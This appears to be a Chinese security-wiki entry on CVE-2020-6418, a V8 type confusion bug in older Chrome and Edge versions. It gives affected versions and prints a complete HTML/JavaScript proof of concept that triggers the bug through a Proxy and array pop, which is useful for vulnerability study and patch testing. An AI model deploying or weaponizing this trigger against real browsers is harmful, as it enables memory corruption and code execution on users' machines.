CVE-2020-6418 Google Chrome 远程代码执行漏洞¶
一、漏洞简介¶
在Google Chrome浏览器80.0.3987.122以下与Microsoft Edge浏览器80.0.361.62以下的版本中,开源JavaScript和WebAssembly引擎V8中存在一个类型混淆漏洞(CVE-2020-6418),可能导致攻击者非法访问数据,从而执行恶意代码。
二、漏洞影响¶
Google Chrome浏览器80.0.3987.122以下与Microsoft Edge浏览器80.0.361.62以下的版本中
三、复现过程¶
poc
<!DOCTYPE html>
<head>
<script>
ITERATIONS = 10000
TRIGGER = false
function f(a,p){
return a.pop(Reflect.construct(function(){}, arguments, p))
}
let a;
let p = new Proxy(Object, {
get: function(){
if (TRIGGER){
a[2] = 1.1;
}
return Object.prototype;
}
});
for(let i = 0; i < ITERATIONS; i++){
let isLastIteration = i==ITERATIONS-1;
a = [0,1,2,3,4];
if(isLastIteration)
TRIGGER = true;
console.log(f(a,p));
}
console.log(a)
</script>
</head>
<body>
CVE-2020-6418 PoC!
</body>
参考链接
https://github.com/ChoKyuWon/CVE-2020-6418/blob/master/poc.html